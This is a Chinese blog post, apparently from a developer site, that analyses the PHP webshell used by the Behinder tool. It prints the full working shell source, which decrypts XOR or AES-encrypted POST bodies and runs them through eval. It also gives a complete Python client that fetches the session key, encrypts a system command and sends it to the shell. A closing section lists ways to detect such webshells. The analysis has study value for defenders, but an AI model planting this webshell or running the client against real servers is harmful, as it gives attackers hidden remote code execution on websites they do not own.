冰蝎一句话分析

“冰蝎”php一句话木马分析

“冰蝎”是什么?它是一款动态二进制加密网站管理客户端,它可以在HTTP明文协议中建立加密隧道,可以用于躲避传统的WAF、IDS等设备的检测。项目地址:

https://github.com/rebeyond/Behinder

“冰蝎”一句话木马可由Java、php、.net等语言来实现,我们以php为例来看这种新型的php一句话木马的实现:

<?php
@error_reporting(0);
session_start();
//如果接收到pass参数,则会生成16位的随机秘钥,存储到session中
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
//如果没接收到pass参数,则利用存储到session的秘钥进行解密
else
{
    $key=$_SESSION['k'];
    //接收POST来的加密后的待执行命令
	$post=file_get_contents("php://input");
    //如果不能加载openssl扩展,则使用base64解码
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
    //使用openssl进行AES解密
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    /*
    将解密后的$Ppost以`|`分割为数组;例如$post为assert|eval('phpinfo();'),那么分割后为:
    array("assert", "eval('phpinfo();')")
    */
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __construct($p) {eval($p."");}}
    //创建C类,利用__construct中的eval来执行解密后的值
	@new C($params);
}
?>


生成密钥

if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}

以get的形式访问木马,就会得到一个16位的密钥,生成的方式很简单

substr(md5(uniqid(rand())),16);

在服务器上的session

image-20201013202201724

解密代码

这里面有两种解密的方式:

如果服务端开启了openssl 直接使用AES128加密方式 密钥已知

如果没有使用openssl直接使用代码和key异或

我们今天先来研究第二种加密的方式,简单的base64解密之后异或

if(!extension_loaded('openssl')) 
    {
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }

代码执行

$arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __construct($p) {eval($p."");}}
    @new C($params);

这一部分也比较简单

先使用|拆解

然后执行第儿部分的代码

以上三个方面就是对冰蝎服务端的分析了,要是想使用python作为简单的服务端的话,按照逆向思维的步骤其实很简单也有三个步骤:

代码构造

直接在页面上就可以获取:类似这样

key = s.get(url).text

使用php写了写解密的代码

解密的代码如下:

<?php
    {   
        $key = 'ef74d2c21f1b391a';
        $post = 'B0RHAUAXTlQQUA4bW1ASAFADawBXAF1VAxlFaW5/Dgcfdl88Ay10ZFd/KGcJBAMvVERaPGYQDxZPGFk=';
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; }
                print $post;
    }

?>

最后得到的结果是

assert|eval(base64_decode('ZWNobyAkX1NFU1NJT05bJ2snXTs='));

也就说,我们也执行的代码的数据格式就是这个样子的,

assert|eval(base64_decode('ZWNobyAkX1NFU1NJT05bJ2snXTs='));
首先是加密

原封不动的解密一下就好:

一个数连续两次异或另外一个数还是他自己,类似这样的函数:

def jiami(key,text):
    miwen = ''
    for i in range(0,len(text)):
        miwen = miwen+chr(ord(text[i])^ord(key[((i+1)&15)]))
    return base64.b64encode(miwen.encode("utf-8"))
然后是传输

post传输

类似这样

payload = miwen
req = s.post(host,data = payload)

python连接冰蝎脚本

import requests
import sys
import os
import re
import base64
host = "http://localhost/bingxie/muma.php"
pwd = 'pass'
cmd = "system('whoami');"
cmd = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
cmd = "assert|eval(base64_decode('{}'));".format(cmd)
def jiami(key,text):  #解密
    miwen = ''
    for i in range(0,len(text)):
        miwen = miwen+chr(ord(text[i])^ord(key[((i+1)&15)]))
    return base64.b64encode(miwen.encode("utf-8"))
s = requests.Session()
url = host+"?"+pwd+"=1"
print(url)
key = s.get(url).text
miwen  = str(jiami(key,cmd))[2:-1]
print(miwen)
payload = miwen
req = s.post(host,data = payload)
print(req.content.decode('utf-8'))

image-20201013202252473

参考文章:

https://xz.aliyun.com/t/6520

https://www.jianshu.com/p/fe8e2c493ffe

http://gtfly.top/2019/11/18/2019-11-18-%E8%AE%B0%E4%B8%80%E6%AC%A1%E2%80%9C%E5%86%B0%E8%9D%8E%E2%80%9D%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90/

https://xz.aliyun.com/t/2774

1/18/2019-11-18-%E8%AE%B0%E4%B8%80%E6%AC%A1%E2%80%9C%E5%86%B0%E8%9D%8E%E2%80%9D%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90/)

https://xz.aliyun.com/t/2774

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
识别冰蝎冰蝎RAT)Webshell 文件可以是一项复杂的任务,因为这种 Webshell 文件通常会采用各种隐蔽和加密技术来逃避检测。以下是一些常见的方法和指南,可用于帮助识别冰蝎 Webshell 文件: 1. 文件名和路径:冰蝎 Webshell 文件通常会使用伪装性强的文件名和路径,以掩盖其真实用途。一些常见的文件名可能包括类似于 "index.php.bak" 或 "config.php.bak" 的后缀。 2. 文件内容:冰蝎 Webshell 文件的内容通常会包含加密、编码或混淆的代码。这些代码可能会使用变量替换、字符串拼接等技术来隐藏其真实功能。您可以检查文件内容中是否存在可疑的、与正常网页文件不符合的代码段。 3. HTTP 请求特征:冰蝎 Webshell 文件通常通过 HTTP 协议与远程控制服务器通信。您可以检查文件中是否存在与远程控制服务器通信相关的特征,如特定的 URL、POST 或 GET 请求等。 4. 常见指纹:冰蝎 Webshell 是一种常见的 Webshell 类型,有许多安全工具和脚本可以帮助您识别这种类型的 Webshell。例如,一些Webshell扫描器可以通过检查文件的特定特征或指纹来识别冰蝎 Webshell 文件。 5. 安全工具:使用安全工具进行扫描和检测,如安全防护软件、Web应用程序防火墙(WAF)等。这些工具可以帮助您自动检测和识别冰蝎 Webshell 文件。 除了上述方法,还有许多其他技术和工具可用于识别冰蝎 Webshell 文件。然而,鉴于冰蝎 Webshell 的变种和不断演变,没有一种方法可以完全保证识别所有的冰蝎 Webshell。因此,如果您怀疑系统中存在冰蝎 Webshell 文件,最好寻求专业的安全专家或安全团队的帮助来进行详细的分析和处理。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值